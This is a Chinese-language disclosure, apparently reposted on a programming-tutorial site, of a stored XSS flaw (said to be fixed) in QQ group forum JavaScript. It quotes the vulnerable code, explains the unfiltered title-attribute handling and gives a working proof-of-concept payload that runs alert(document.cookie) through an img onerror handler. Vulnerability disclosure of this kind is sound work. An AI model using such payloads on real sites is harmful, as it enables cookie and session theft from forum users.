好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

QQ群论坛存储型XSS(已修复) - 网站安全 - 自学php

QQ群论坛某处代码缺陷导致存储型XSS,记得之前在群里发新帖子,是会有提示告诉群里的[XXX发布了一个新的帖子],然后可以直接点进去看的,要是一点进去,就被XSS了,多带感~~ 哈哈。 本文会同步至pkav.net

 

缺陷文件:http://qun.qq.com/god/m/js/bbs.zh-cn.js

 

缺陷代码:

 

$('div.blogInfo img').load(function() {

    var obj = $(this),

    title = obj.attr('title'),

    src = obj.attr('src'),

    reg = /src:(http:\/\/.{5,}\.swf),width:(\d+),height:(\d+)/g;

    var match = reg.exec(title);

    if (match && match.length > 0 && /.*\/god\/images\/space\.gif/.test(src)) {

        obj.replaceWith('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="' + match[2] + '" height="' + match[3] + '"><param name="movie" value="' + match[1] + '" /><param name="quality" value="high" /><embed type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" menu="true" width="' + match[2] + '" height="' + match[3] + '" src="' + match[1] + '" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed></object>');

        return;

    }

}

 

 

成因解析:

 

1. 程序员在显示FLASH时,是先将FLASH地址存储到了一个临时的img标签的title属性里,而在创建FLASH这个DOM元素时,从title里取出地址时,未进行二次的HTML过滤。从而导致了XSS。

 

2. 页面输出的临时IMG代码

<div class="blogInfo cl" id="blogInfo"> <img title="src:http://www.1.com/1.swf&quot;&gt;&lt;img/src=&quot;1&quot;onerror=&quot;alert  (document.cookie);&quot;style=&quot;display:none;&quot;&gt;&lt;i/a=&quot;#.swf,width:480,height:320" src=http://up.2cto.com/2012/1205/20121205111215128.gif" width="480" height="320"  /> <div>

 

 

3. title = obj.attr('title'),取出title属性后,其中的&quot;等都自动转义回 " 等符号.

 

POC:

 

插入FLASH时,输入以下代码:

 

http://www.1.com/1.swf&quot;&gt;&lt;img/src=&quot;1&quot;onerror=&quot;alert(document.cookie);&quot;style=&quot;display:none;&quot;&gt;&lt;i/a=&quot;#.swf

 

 

然后发表帖子即可。

 

 

漏洞 证明:

 

 

至于怎么利用,不做过多的危害演示啦~~

修复方案:

title = obj.attr('title') 取出title后,进行二次过滤

查看更多关于QQ群论坛存储型XSS(已修复) - 网站安全 - 自学php的详细内容...

  阅读:47次